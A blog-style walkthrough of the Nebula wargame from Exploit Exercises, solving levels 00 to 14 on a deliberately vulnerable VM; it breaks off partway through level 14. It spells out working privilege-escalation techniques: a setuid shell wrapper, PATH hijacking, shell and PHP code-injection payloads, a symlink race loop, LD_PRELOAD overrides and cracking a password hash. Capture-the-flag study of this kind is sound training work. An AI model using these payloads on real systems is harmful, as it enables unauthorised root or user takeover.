playing exploit-exercises - nebula

introduction

Recently I decided I wanted to have a look at what Exploit Exercises had to offer. I was after the memory corruption related exploitation stuff to play with, until I saw the details for Nebula. Nebula covers a variety of simple and intermediate challenges that cover Linux privilege escalation, common scripting language issues, and file system race conditions.

I did not really have a lot of time on my hands and figured I should start with the “easy” stuff. Many of the levels Nebula presented were in fact very, very easy. However, towards final levels my knowledge was definitely being tested. Levels started taking much longer to complete as I was yet again realizing that the more you learn, the more you realize you you still have to learn. :)

This is the path I took to solve the 20 challenges.

setup

On the details page, one could easily learn the format of the challenges, as well as some information should you need to get root access on the VM to configure things. Obviously the point is not to login with this account to solve challenges, but merely to fix things if they are broken for some reason.

After my download finished, I booted the live image, checked the IP address it got assigned using the Nebula account and tried to SSH in:

~ » ssh level00@192.168.217.239
no hostkey alg

sigh. Some quick diagnostics showed that my SSH client was attempting to identify the remote server with a RSA/DSA key, but none was being presented. So, I quickly escalated the nebula account to root and generated a RSA host key with: ssh-keygen -t rsa -f /etc/ssh/ssh_host_rsa_key with no password. I was now able to log in:

~ » ssh level00@192.168.217.239
The authenticity of host '192.168.217.239 (192.168.217.239)' can't be established.
RSA key fingerprint is cf:cf:68:5b:01:05:a8:52:aa:19:aa:54:a8:27:5d:46.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '192.168.217.239' (RSA) to the list of known hosts.

      _   __     __          __
     / | / /__  / /_  __  __/ /___ _
    /  |/ / _ \/ __ \/ / / / / __ `/
   / /|  /  __/ /_/ / /_/ / / /_/ /
  /_/ |_/\___/_.___/\__,_/_/\__,_/

    exploit-exercises.com/nebula


For level descriptions, please see the above URL.

To log in, use the username of "levelXX" and password "levelXX", where
XX is the level number.

Currently there are 20 levels (00 - 19).


level00@192.168.217.239's password:
Welcome to Ubuntu 11.10 (GNU/Linux 3.0.0-12-generic i686)

 * Documentation:  https://help.ubuntu.com/
New release '12.04 LTS' available.
Run 'do-release-upgrade' to upgrade to it.


The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

level00@nebula:~$

I could see that I was now logged in as level00

level00@nebula:~$ id
uid=1001(level00) gid=1001(level00) groups=1001(level00)

The challenges are all in their respective flag folder. So if you are logged in as level00, you are interested in flag00. Once you have exploited whatever needed exploiting and gained the privileges of the respective flag, the command getflag could be run to confirm that you have the correct access. For the most part, I actually wanted to get shells as the users I escalated to, but just running getflag is enough to consider a level done. I had prepared a small C setuid shell in /var/tmp/shell.c with the following output:

#include<stdio.h>

int main(void) {
    setresuid(geteuid(), geteuid(), geteuid());
    system("/bin/sh");
    return 0;
}

This shell was reused throughout the challenges. Lets dig into the challenges themselves.

level00

Level00’s Description:

This level requires you to find a Set User ID program that will run as the “flag00” account. You could also find this by carefully looking in top level directories in / for suspicious looking directories.

Finding SUID binaries is really easy. I guess because this is the format most of the challenges are in, it was a good start to get the challenger to know about SUID binaries :P

So, to solve level00:

level00@nebula:~$ find / -perm -4000 2> /dev/null | xargs ls -lh
-rwsr-x--- 1 flag00  level00    7.2K 2011-11-20 21:22 /bin/.../flag00
-rwsr-xr-x 1 root    root        26K 2011-05-18 03:12 /bin/fusermount
-rwsr-xr-x 1 root    root        87K 2011-08-09 09:15 /bin/mount
-rwsr-xr-x 1 root    root        34K 2011-05-03 03:38 /bin/ping
-rwsr-xr-x 1 root    root        39K 2011-05-03 03:38 /bin/ping6
-rwsr-xr-x 1 root    root        31K 2011-06-24 02:37 /bin/su
-rwsr-xr-x 1 root    root        63K 2011-08-09 09:15 /bin/umount
-rwsr-x--- 1 flag00  level00    7.2K 2011-11-20 21:22 /rofs/bin/.../flag00
-rwsr-xr-x 1 root    root        26K 2011-05-18 03:12 /rofs/bin/fusermount
-rwsr-xr-x 1 root    root        87K 2011-08-09 09:15 /rofs/bin/mount
[...]

level00@nebula:~$ /bin/.../flag00
Congrats, now run getflag to get your flag!

flag00@nebula:~$ getflag
You have successfully executed getflag on a target account

level01

Level01’s Description:

There is a vulnerability in the below program that allows arbitrary programs to be executed, can you find it?

With the description we are provided with the source code of a small C program:

#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>

int main(int argc, char **argv, char **envp)
{
  gid_t gid;
  uid_t uid;
  gid = getegid();
  uid = geteuid();

  setresgid(gid, gid, gid);
  setresuid(uid, uid, uid);

  system("/usr/bin/env echo and now what?");
}

We can see a bunch of UID/GID stuff being set with with setresgid and setresuid and then a system command being run with system(). The problem lies in the fact that the command that is being run does not have a full path specified for the echo command. Even though its called with /usr/bin/env, it is possible to modify the current PATH variable and have env report echo as being somewhere other than where it would normally be.

On the filesystem we find the flag01 binary and can see it is setuid for flag01 user (we are currently logged in as level01):

level01@nebula:~$ cd ~flag01/
level01@nebula:/home/flag01$ ls -lh flag01
-rwsr-x--- 1 flag01 level01 7.2K 2011-11-20 21:22 flag01

level01@nebula:/home/flag01$ ./flag01
and now what?

Abusing this is really easy. I decided to create my own echo binary and modified PATH so that it is called instead of the real echo. A small note here though. The Nebula vm has /tmp mounted with the nosuid option. I see this many times in the real world. What this effectively means is that any suid bit will be ignored for binaries executed on this mount point. Luckily though my second resort being /var/tmp was not mounted separately and I had write access there :)

level01@nebula:/home/flag01$ mount | grep "/tmp"
tmpfs on /tmp type tmpfs (rw,nosuid,nodev)

level01@nebula:/home/flag01$ ls -lah /var/ | grep tmp
drwxrwxrwt 3 root root   29 2012-08-23 18:46 tmp

So, to solve level01:

level01@nebula:/home/flag01$ cat /var/tmp/echo
#!/bin/sh
gcc /var/tmp/shell.c -o /var/tmp/flag01
chmod 4777 /var/tmp/flag01

level01@nebula:/home/flag01$ ls -lh /var/tmp/echo
-rwxrwxr-x 1 level01 level01 77 2015-05-08 07:35 /var/tmp/echo

level01@nebula:/home/flag01$ cat /var/tmp/shell.c
#include<stdio.h>

int main(void) {
    setresuid(geteuid(), geteuid(), geteuid());
    system("/bin/sh");
    return 0;
}

level01@nebula:/home/flag01$ export PATH=/var/tmp:$PATH
level01@nebula:/home/flag01$ ./flag01
level01@nebula:/home/flag01$ ls -lah /var/tmp/flag01
-rwsrwxrwx 1 flag01 level01 7.1K 2015-05-08 07:37 /var/tmp/flag01

level01@nebula:/home/flag01$ /var/tmp/flag01
sh-4.2$ getflag
You have successfully executed getflag on a target account

level02

Level02’s Description:

There is a vulnerability in the below program that allows arbitrary programs to be executed, can you find it?

With the description we are provided with the source code of a small C program:

#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>

int main(int argc, char **argv, char **envp)
{
  char *buffer;

  gid_t gid;
  uid_t uid;

  gid = getegid();
  uid = geteuid();

  setresgid(gid, gid, gid);
  setresuid(uid, uid, uid);

  buffer = NULL;

  asprintf(&buffer, "/bin/echo %s is cool", getenv("USER"));
  printf("about to call system(\"%s\")\n", buffer);

  system(buffer);
}

Level02 is very similar to Level01, except for that fact that here the line /bin/echo %s is cool is copied to buffer and eventually put through a system() call. The value of the current environment variable USER is added to the command. This is another easy exploit where a simple shell escape will do to get us our own shell. I prepped the shell to echo the word bob, the delimit the command with a ; character and specify the command I want to run. I then end it off with a hash (#) to ignore the rest of the commands that the program has hard coded (is cool in this case).

So, to solve level02:

level02@nebula:/home/flag02$ ./flag02
about to call system("/bin/echo level02 is cool")
level02 is cool

level02@nebula:/home/flag02$ USER="bob" && ./flag02
about to call system("/bin/echo bob is cool")
bob is cool

level02@nebula:/home/flag02$ cat /var/tmp/shell.c
#include<stdio.h>

int main(void) {
    setresuid(geteuid(), geteuid(), geteuid());
    system("/bin/sh");
    return 0;
}

level02@nebula:/home/flag02$ USER="bob; id;#" && ./flag02
about to call system("/bin/echo bob; id;# is cool")
bob
uid=997(flag02) gid=1003(level02) groups=997(flag02),1003(level02)

level02@nebula:/home/flag02$ USER="bob; gcc /var/tmp/shell.c -o /var/tmp/flag02; chmod 4777 /var/tmp/flag02;#" && ./flag02
about to call system("/bin/echo bob; gcc /var/tmp/shell.c -o /var/tmp/flag02; chmod 4777 /var/tmp/flag02;# is cool")
bob

level02@nebula:/home/flag02$ /var/tmp/flag02
sh-4.2$ getflag
You have successfully executed getflag on a target account

level03

Level03’s Description:

Check the home directory of flag03 and take note of the files there. There is a crontab that is called every couple of minutes.

Logging in as level03, we find a directory and a sh script:

level03@nebula:~$ cd ~flag03
level03@nebula:/home/flag03$ ls -lh
total 512
drwxrwxrwx 2 flag03 flag03  3 2012-08-18 05:24 writable.d
-rwxr-xr-x 1 flag03 flag03 98 2011-11-20 21:22 writable.sh

level03@nebula:/home/flag03$ cat writable.sh
#!/bin/sh

for i in /home/flag03/writable.d/* ; do
    (ulimit -t 5; bash -x "$i")
    rm -f "$i"
done

With the mention of a cronjob, I assumed the writable.sh script was being run. From the source of the script we can see that everything in /home/flag03/writable.d/ will have a ulimit set so that processes don’t take more than 5 seconds, and be executed using bash -x. Once done, the file is removed. Easy to exploit.

So, to solve level03:

level03@nebula:/home/flag03$ vim /var/tmp/flag03.sh
level03@nebula:/home/flag03$ cat /var/tmp/flag03.sh
#!/bin/sh
gcc /var/tmp/shell.c -o /var/tmp/flag03
chmod 4777 /var/tmp/flag03

level03@nebula:/home/flag03$ cat /var/tmp/shell.c
#include<stdio.h>

int main(void) {
    setresuid(geteuid(), geteuid(), geteuid());
    system("/bin/sh");
    return 0;
}

level03@nebula:/home/flag03$ cp /var/tmp/flag03.sh /home/flag03/writable.d/

level03@nebula:/home/flag03$ # wait some time for the cronjob

level03@nebula:/home/flag03$ /var/tmp/flag03
sh-4.2$ getflag
You have successfully executed getflag on a target account

level04

Level04’s Description:

This level requires you to read the token file, but the code restricts the files that can be read. Find a way to bypass it :)

With the description we are provided with the source code of a small C program:

#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>
#include <fcntl.h>

int main(int argc, char **argv, char **envp)
{
  char buf[1024];
  int fd, rc;

  if(argc == 1) {
      printf("%s [file to read]\n", argv[0]);
      exit(EXIT_FAILURE);
  }

  if(strstr(argv[1], "token") != NULL) {
      printf("You may not access '%s'\n", argv[1]);
      exit(EXIT_FAILURE);
  }

  fd = open(argv[1], O_RDONLY);
  if(fd == -1) {
      err(EXIT_FAILURE, "Unable to open %s", argv[1]);
  }

  rc = read(fd, buf, sizeof(buf));

  if(rc == -1) {
      err(EXIT_FAILURE, "Unable to read fd %d", fd);
  }

  write(1, buf, rc);
}

From the snippet we can see that a check is in place for the first argument to see if the string token exists in it. As the token we want to read is actually called token this check will obviously prevent us from reading it. As we also don’t have write access to the file we cant rename it either. We can however make a symlink to it with a different name, thereby circumventing this check.

So, to solve level04:

level04@nebula:/home/flag04$ ln -s /home/flag04/token /var/tmp/flag04
level04@nebula:/home/flag04$ ./flag04 /var/tmp/flag04
06508b5e-8909-4f38-b630-fdb148a848a2

level04@nebula:/home/flag04$ su - flag04
Password:
flag04@nebula:~$ getflag
You have successfully executed getflag on a target account

level05

Level05’s Description:

Check the flag05 home directory. You are looking for weak directory permissions

Browsing to the flag05 directory we can see a .backup directory containing a tar archive that is readable. This archive contained a private key that allowed login as the flag05 user.

So, to solve level05:

level05@nebula:~$ cd ~flag05
level05@nebula:/home/flag05$ ls -lah
total 5.0K
drwxr-x--- 4 flag05 level05   93 2012-08-18 06:56 .
drwxr-xr-x 1 root   root     220 2012-08-27 07:18 ..
drwxr-xr-x 2 flag05 flag05    42 2011-11-20 20:13 .backup
-rw-r--r-- 1 flag05 flag05   220 2011-05-18 02:54 .bash_logout
-rw-r--r-- 1 flag05 flag05  3.3K 2011-05-18 02:54 .bashrc
-rw-r--r-- 1 flag05 flag05   675 2011-05-18 02:54 .profile
drwx------ 2 flag05 flag05    70 2011-11-20 20:13 .ssh

level05@nebula:/home/flag05$ cd .backup/
level05@nebula:/home/flag05/.backup$ ls -lah
total 2.0K
drwxr-xr-x 2 flag05 flag05    42 2011-11-20 20:13 .
drwxr-x--- 4 flag05 level05   93 2012-08-18 06:56 ..
-rw-rw-r-- 1 flag05 flag05  1.8K 2011-11-20 20:13 backup-19072011.tgz

level05@nebula:/home/flag05/.backup$ tar -xvf backup-19072011.tgz -C /var/tmp/
.ssh/
.ssh/id_rsa.pub
.ssh/id_rsa
.ssh/authorized_keys

level05@nebula:/home/flag05/.backup$ ssh -i /var/tmp/.ssh/id_rsa flag05@127.0.0.1
The authenticity of host '127.0.0.1 (127.0.0.1)' can't be established.
ECDSA key fingerprint is ea:8d:09:1d:f1:69:e6:1e:55:c7:ec:e9:76:a1:37:f0.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '127.0.0.1' (ECDSA) to the list of known hosts.

[...]

flag05@nebula:~$ getflag
You have successfully executed getflag on a target account

level06

Level06’s Description:

The flag06 account credentials came from a legacy unix system.

Legacy unix system? This immediately had me thinking that the password hash may be in /etc/passwd. Older unix systems used to store passwords this way, but that is no longer the case.

level06@nebula:~$ cat /etc/passwd| grep flag06
flag06:ueqwOCnSGdsuM:993:993::/home/flag06:/bin/sh

The hash ueqwOCnSGdsuM is something that I had to send to john to crack. So I just copied it over to a Kali linux instance and attempted to crack it with brute force. It took a few micro seconds to crack :P

~ # cat hash
ueqwOCnSGdsuM

~ # john hash
Loaded 1 password hash (Traditional DES [128/128 BS SSE2])
hello            (?)
guesses: 1  time: 0:00:00:00 DONE (Fri May  8 17:29:20 2015)  c/s: 102400  trying: 123456 - Pyramid
Use the "--show" option to display all of the cracked passwords reliably

The password is hello. So, to solve level06:

level06@nebula:~$ su - flag06
Password:
flag06@nebula:~$ getflag
You have successfully executed getflag on a target account

level07

Level07’s Description:

The flag07 user was writing their very first perl program that allowed them to ping hosts to see if they were reachable from the web server.

With the description we are provided with the source code of a small Perl program:

#!/usr/bin/perl

use CGI qw{param};

print "Content-type: text/html\n\n";

sub ping {
  $host = $_[0];

  print("<html><head><title>Ping results</title></head><body><pre>");

  @output = `ping -c 3 $host 2>&1`;
  foreach $line (@output) { print "$line"; }

  print("</pre></body></html>");

}

# check if Host set. if not, display normal page, etc

ping(param("Host"));

This script has a very obvious command injection problem in the ping command. It also looks like something that should be served by a web server. In the flag07 directory one can see a thttpd.conf file which contains the port of the webserver serving this script on.

level07@nebula:/home/flag07$ grep port thttpd.conf
# Specifies an alternate port number to listen on.
port=7007
# all hostnames supported on the local machine. See thttpd(8) for details.

Exploiting the vulnerability simply meant that we have to inject commands into the Host parameter. I normally use python’s urllib to ensure that fields are properly url encoded etc.

So, to solve level07:

~ » curl -v "http://192.168.217.239:7007/index.cgi?$(python -c 'import urllib; print urllib.urlencode({ "Host" : "127.0.0.1 && gcc /var/tmp/shell.c -o /var/tmp/flag07 && chmod 4777 /var/tmp/flag07" })')"
* Hostname was NOT found in DNS cache
*   Trying 192.168.217.239...
* Connected to 192.168.217.239 (192.168.217.239) port 7007 (#0)
> GET /index.cgi?Host=127.0.0.1+%26%26+gcc+%2Fvar%2Ftmp%2Fshell.c+-o+%2Fvar%2Ftmp%2Fflag07+%26%26+chmod+4777+%2Fvar%2Ftmp%2Fflag07 HTTP/1.1
> User-Agent: curl/7.37.1
> Host: 192.168.217.239:7007
> Accept: */*
>
* HTTP 1.0, assume close after body
< HTTP/1.0 200 OK
< Content-type: text/html
<
<html><head><title>Ping results</title></head><body><pre>PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_req=1 ttl=64 time=0.011 ms
64 bytes from 127.0.0.1: icmp_req=2 ttl=64 time=0.023 ms
64 bytes from 127.0.0.1: icmp_req=3 ttl=64 time=0.022 ms

--- 127.0.0.1 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 1998ms
rtt min/avg/max/mdev = 0.011/0.018/0.023/0.007 ms
* Closing connection 0
</pre></body></html>

And finally back on the NebulaVM after this curl from my host:

level07@nebula:/home/flag07$ /var/tmp/flag07
sh-4.2$ getflag
You have successfully executed getflag on a target account

level08

Level08’s Description:

World readable files strike again. Check what that user was up to, and use it to log into flag08 account.

Logging in as the user level08 reveals a pcap in the flag08 directory:

level08@nebula:~$ cd ~flag08
level08@nebula:/home/flag08$ ls
capture.pcap

level08@nebula:/home/flag08$ file capture.pcap
capture.pcap: tcpdump capture file (little-endian) - version 2.4 (Ethernet, capture length 65535)

I copied the pcap off the box and opened it on my Kali Linux VM with wireshark to investigate:

Here we can see some data that got captured in clear text. It looks like a telnet session where someone was logging in with the level8 account. The password though has a few dots in it. To make more sense of these, I switched the stream view to hex so that we can try see the ASCII codes of the keypresses.

F7 according to the ASCII table is a backspace. That makes this easy :) Considering we have the password backdoor...00Rm8.ate, substituting the dot with backspaces we end up with backd00Rmate as the password.

So, to solve level08:

level08@nebula:/home/flag08$ su - flag08
Password:

flag08@nebula:~$ getflag
You have successfully executed getflag on a target account

level09

Level09’s Description:

There’s a C setuid wrapper for some vulnerable PHP code…

With the description we are provided with the source code of a small PHP program:

<?php

function spam($email)
{
  $email = preg_replace("/\./", " dot ", $email);
  $email = preg_replace("/@/", " AT ", $email);

  return $email;
}

function markup($filename, $use_me)
{
  $contents = file_get_contents($filename);

  $contents = preg_replace("/(\[email (.*)\])/e", "spam(\"\\2\")", $contents);
  $contents = preg_replace("/\[/", "<", $contents);
  $contents = preg_replace("/\]/", ">", $contents);

  return $contents;
}

$output = markup($argv[1], $argv[2]);

print $output;

?>

In the flag09 directory, we have the above PHP sample as well as a SUID binary.

level09@nebula:~$ cd ~flag09
level09@nebula:/home/flag09$ ls -lh
total 8.0K
-rwsr-x--- 1 flag09 level09 7.1K 2011-11-20 21:22 flag09
-rw-r--r-- 1 root   root     491 2011-11-20 21:22 flag09.php

At first I managed to solve this one really fast. When flag09 is invoked with -h, it seemed like it passed the arguments directly to a PHP binary. So, I was able to drop into an interactive PHP shell and execute commands from there:

level09@nebula:/home/flag09$ ./flag09 -a
Interactive shell

php > system("id");
uid=1010(level09) gid=1010(level09) euid=990(flag09) groups=990(flag09),1010(level09)

With this I would have been able to prepare the small flag09 setuid shell and complete the level. However, I did not think this was the intended route so I continued to investigate the PHP program further.

The PHP code basically had 2 main functions. markup() and spam(). markup() would read the contents of a file (who’s location is read as the first command line argument), and using regex, search for a pattern matching [email addr] where addr will be the extracted part. It then as a callback executes spam() which will convert . to dot and @ to AT. I took a really long time researching the preg_replace() functions and potential exploits with it. Eventually I came across a post describing how code injection may be possible when preg_replace() is called with the e modifier. This blogpost explains the vulnerability in pretty great detail. That blogpost coupled with the PHP docs here helps develop a payload for exploitation. The PHP documentation has a sample of <h1>{${eval($_GET[php_code])}}</h1> which is what I used to finish the final payload for this level.

Another thing to note about the PHP code is the $use_me variable passed to the markup() function. It only gets declared and never gets used later. I think the developer of this level wanted this to be a form of hint, but it was handy to get code execution as argument 2 on the command line will be the command we want to execute :)

So, to solve level09:

level09@nebula:/home/flag09$ echo -ne "[email {\${system(\$use_me)}}]" > /var/tmp/flag09.txt

level09@nebula:/home/flag09$ cat /var/tmp/flag09.txt
[email {${system($use_me)}}]

level09@nebula:/home/flag09$ ./flag09 /var/tmp/flag09.txt "gcc /var/tmp/shell.c -o /var/tmp/flag09; chmod 4777 /var/tmp/flag09"
PHP Notice:  Undefined variable:  in /home/flag09/flag09.php(15) : regexp code on line 1

level09@nebula:/home/flag09$ /var/tmp/flag09
sh-4.2$ getflag
You have successfully executed getflag on a target account

intermission

From here, the levels became noticeably harder for me. A lot of the levels had me researching new things that I was unsure of. :)

I wont detail all of the failed attempts. There were so many. Only the successes (and if a failure was significant) will land here :P Lets get to them!

level10

Level10’s Description:

The setuid binary at /home/flag10/flag10 binary will upload any file given, as long as it meets the requirements of the access() system call.

With the description we are provided with the source code of a small PHP program:

#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <stdio.h>
#include <fcntl.h>
#include <errno.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <string.h>

int main(int argc, char **argv)
{
  char *file;
  char *host;

  if(argc < 3) {
      printf("%s file host\n\tsends file to host if you have access to it\n", argv[0]);
      exit(1);
  }

  file = argv[1];
  host = argv[2];

  if(access(argv[1], R_OK) == 0) {
      int fd;
      int ffd;
      int rc;
      struct sockaddr_in sin;
      char buffer[4096];

      printf("Connecting to %s:18211 .. ", host); fflush(stdout);

      fd = socket(AF_INET, SOCK_STREAM, 0);

      memset(&sin, 0, sizeof(struct sockaddr_in));
      sin.sin_family = AF_INET;
      sin.sin_addr.s_addr = inet_addr(host);
      sin.sin_port = htons(18211);

      if(connect(fd, (void *)&sin, sizeof(struct sockaddr_in)) == -1) {
          printf("Unable to connect to host %s\n", host);
          exit(EXIT_FAILURE);
      }

#define HITHERE ".oO Oo.\n"
      if(write(fd, HITHERE, strlen(HITHERE)) == -1) {
          printf("Unable to write banner to host %s\n", host);
          exit(EXIT_FAILURE);
      }
#undef HITHERE

      printf("Connected!\nSending file .. "); fflush(stdout);

      ffd = open(file, O_RDONLY);
      if(ffd == -1) {
          printf("Damn. Unable to open file\n");
          exit(EXIT_FAILURE);
      }

      rc = read(ffd, buffer, sizeof(buffer));
      if(rc == -1) {
          printf("Unable to read from file: %s\n", strerror(errno));
          exit(EXIT_FAILURE);
      }

      write(fd, buffer, rc);

      printf("wrote file!\n");

  } else {
      printf("You don't have access to %s\n", file);
  }
}

As the description has it, this program seems to read a file and send its contents to a user specified IP address on tcp/18211. I tested this by opening a netcat listener with nc -lk 18211 and sending myself a file to see what comes out. Obviously, I was not able to send the token that was in the same directory as the flag10 binary as I did not have read access to this.

The problem with this program through is the fact that it checks if the file can be read using access(), then only later opens it using open(). Using this method it may be possible to change out the file before it hits the open() method. Symlinks are the goto for this kind of problem as they can be easily swapped out by relinking a file as the program runs. It of course helps that the file to read can be user specified. There is actually an acronym for this kind of bug called TOCTTOU. The Wikipedia article describes almost exactly the same scenario as we have here.

My plan of attack was to create a race condition. I would create an infinite loop that relinks a file from something I can actually read back to the token file and vice versa. While this continuous relinking occurs, I would run the affected binary, hoping that we would catch a case where the link swaps out as hoped for sending the token contents to my netcat listener. To increase my chances of the race condition occurring, I put the flag10 binary in its own loop as well.

So, to solve level10:

level10@nebula:/home/flag10$ while true; do ln -sf /var/tmp/shell.c /var/tmp/flag10-token; ln -sf /home/flag10/token /var/tmp/flag10-token; done &
[1] 14219

# the counties symlink swap is now happening between /var/tmp/shell.c which I can read and /home/flag10/token which I cant.

level10@nebula:/home/flag10$ while true; do ./flag10 /var/tmp/flag10-token 192.168.217.1; done
You don't have access to /var/tmp/flag10-token
You don't have access to /var/tmp/flag10-token
Connecting to 192.168.217.1:18211 .. Connected!
Sending file .. wrote file!
Connecting to 192.168.217.1:18211 .. Connected!
Sending file .. wrote file!
Connecting to 192.168.217.1:18211 .. Connected!
Sending file .. wrote file!

On my netcat listener I now had:

~ » nc -lk 18211
.oO Oo.
#include<stdio.h>

int main(void) {
    setresuid(geteuid(), geteuid(), geteuid());
    system("/bin/sh");
    return 0;
}

.oO Oo.
615a2ce1-b2b5-4c76-8eed-8aa5c4015c27
.oO Oo.
615a2ce1-b2b5-4c76-8eed-8aa5c4015c27
.oO Oo.
615a2ce1-b2b5-4c76-8eed-8aa5c4015c27
.oO Oo.

With the token file read, we end the level:

level10@nebula:/home/flag10$ su - flag10
Password:
flag10@nebula:~$ getflag
You have successfully executed getflag on a target account

level11

Level11’s Description:

The setuid binary at /home/flag10/flag10 binary will upload any file given, as long as it meets the requirements of the access() system call.

With the description we are provided with the source code of a small PHP program:

#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <fcntl.h>
#include <stdio.h>
#include <sys/mman.h>

/*
 * Return a random, non predictable file, and return the file descriptor for it.
 */

int getrand(char **path)
{
  char *tmp;
  int pid;
  int fd;

  srandom(time(NULL));

  tmp = getenv("TEMP");
  pid = getpid();

  asprintf(path, "%s/%d.%c%c%c%c%c%c", tmp, pid,
      'A' + (random() % 26), '0' + (random() % 10),
      'a' + (random() % 26), 'A' + (random() % 26),
      '0' + (random() % 10), 'a' + (random() % 26));

  fd = open(*path, O_CREAT|O_RDWR, 0600);
  unlink(*path);
  return fd;
}

void process(char *buffer, int length)
{
  unsigned int key;
  int i;

  key = length & 0xff;

  for(i = 0; i < length; i++) {
      buffer[i] ^= key;
      key -= buffer[i];
  }

  system(buffer);
}

#define CL "Content-Length: "

int main(int argc, char **argv)
{
  char line[256];
  char buf[1024];
  char *mem;
  int length;
  int fd;
  char *path;

  if(fgets(line, sizeof(line), stdin) == NULL) {
      errx(1, "reading from stdin");
  }

  if(strncmp(line, CL, strlen(CL)) != 0) {
      errx(1, "invalid header");
  }

  length = atoi(line + strlen(CL));

  if(length < sizeof(buf)) {
      if(fread(buf, length, 1, stdin) != length) {
          err(1, "fread length");
      }
      process(buf, length);
  } else {
      int blue = length;
      int pink;

      fd = getrand(&path);

      while(blue > 0) {
          printf("blue = %d, length = %d, ", blue, length);

          pink = fread(buf, 1, sizeof(buf), stdin);
          printf("pink = %d\n", pink);

          if(pink <= 0) {
              err(1, "fread fail(blue = %d, length = %d)", blue, length);
          }
          write(fd, buf, pink);

          blue -= pink;
      }

      mem = mmap(NULL, length, PROT_READ|PROT_WRITE, MAP_PRIVATE, fd, 0);
      if(mem == MAP_FAILED) {
          err(1, "mmap");
      }
      process(mem, length);
  }

}

I’ll admit. This level kicked my ass. Eventually I gave up and resorted to a few hints that could tell me how to proceed. None of the other walkthroughs that I read actually had working exploits for this level either. That which I have tried never got me to even execute getflag so that it would be happy with the effective user ids. Maybe this level is bugged, but I am not sure :(

level12

Level12’s Description:

There is a backdoor process listening on port 50001.

With the description we are provided with the source code of a small Lua program:

local socket = require("socket")
local server = assert(socket.bind("127.0.0.1", 50001))

function hash(password)
  prog = io.popen("echo "..password.." | sha1sum", "r")
  data = prog:read("*all")
  prog:close()

  data = string.sub(data, 1, 40)

  return data
end


while 1 do
  local client = server:accept()
  client:send("Password: ")
  client:settimeout(60)
  local line, err = client:receive()
  if not err then
      print("trying " .. line) -- log from where ;\
      local h = hash(line)

      if h ~= "4754a4f4bd5787accd33de887b9250a0691dd198" then
          client:send("Better luck next time\n");
      else
          client:send("Congrats, your token is 413**CARRIER LOST**\n")
      end

  end

  client:close()
end

This level had another very obvious command injection vulnerability on the line where a password variable is piped through sha1sum. I made a copy of this program and modified it to print me the outputs so that I could prepare a properly formatted command to be used on a socket. The basic idea of the injection was to separate the echo with a ; character and compile my setuid C shell. I then added a hash (#) to ignore the rest of the command what would have been executed.

So, to solve level12:

level12@nebula:~$ echo ";gcc /var/tmp/shell.c -o /var/tmp/flag12;chmod 4777 /var/tmp/flag12;#" | nc 127.0.0.1 50001
Password: Better luck next time

level12@nebula:~$ /var/tmp/flag12
sh-4.2$ getflag
You have successfully executed getflag on a target account
sh-4.2$

level13

Level13’s Description:

There is a security check that prevents the program from continuing execution if the user invoking it does not match a specific user id.

With the description we are provided with the source code of a small C program:

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <sys/types.h>
#include <string.h>

#define FAKEUID 1000

int main(int argc, char **argv, char **envp)
{
  int c;
  char token[256];

  if(getuid() != FAKEUID) {
      printf("Security failure detected. UID %d started us, we expect %d\n", getuid(), FAKEUID);
      printf("The system administrators will be notified of this violation\n");
      exit(EXIT_FAILURE);
  }

  // snip, sorry :)

  printf("your token is %s\n", token);

}

This level had me researching for quite some time. I came to learn of ELF DSO’s and LD_PRELOAD. Basically, it is possible to have the dynamic linker preload shared libraries from the LD_PRELOAD environment variable that may allow for some functions to be modified. This article contained most of the magic that was needed to get this level done.

I decided to ‘override’ the getuid() function so that it would return the value of the FAKEUID constant in the program, instead of the value the real getuid() would have returned. For that to happen, I looked up the arguments for getuid() from the man page and copied that for my own purposes. I then compiled it as a shared library with the famous -shared -fPIC arguments for position independent code and exported the LD_PRELOAD variable prior to running the binary.

One important thing to note here is that this ‘hack’ has a few gotchas. The executing binary and the library needs to be relative to each other. SETUID programs discard the LD_PRELOAD environment variable (for obvious reasons) so this is not a privilege escalation. In the source code we have received, there is a portion excluded (that probably just prints the token :P) on purpose. This means we can copy the binary and still be able to get the desired effect. Of course, we could also resort to slapping this into a debugger and checking what it is doing under the hood, but given the nature of Nebula, I figured the point is to actually override getuid().

So, to solve level13:

level13@nebula:/var/tmp$ cp ~flag13/flag13 .

level13@nebula:/var/tmp$ cat fake_getuid.c
#include<unistd.h>

uid_t getuid(void) {
    return 1000;
}

level13@nebula:/var/tmp$ gcc -shared -fPIC /var/tmp/fake_getuid.c -o /var/tmp/fake_getuid.o

level13@nebula:/var/tmp$ LD_PRELOAD=/var/tmp/fake_getuid.o ./flag13
your token is b705702b-76a8-42b0-8844-3adabbe5ac58

level13@nebula:/var/tmp$ su - flag13
Password:
flag13@nebula:~$ getflag
You have successfully executed getflag on a target account

level14

Level14’s Description:

This program resides in /home/flag14/flag14. It encrypts input and writes it to standard output. An encrypted token file is also in that home directory, decrypt it :)

Logged in as user level14, we see 2 files in the flag14 directory:

level14@nebula:~$ cd ~flag14
level14@nebula:/home/flag14$ ls -lh
total 8.0K
-rwsr-x--- 1 flag14  level14 7.2K 2011-12-05 18:59 flag14
-rw------- 1 level14 level14   37 2011-12-05 18:59 token

level14@nebula:/home/flag14$ cat token
857:g67?5ABBo:BtDA?tIvLDKL{MQPSRQWW.

token obviously being the target to decrypt. Running flag14 tells us that it is expecting a -e flag to encrypt. So, I tested the encryption to see how it behaves:

level14@nebula:/home/flag14$ ./flag14 -e
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^(

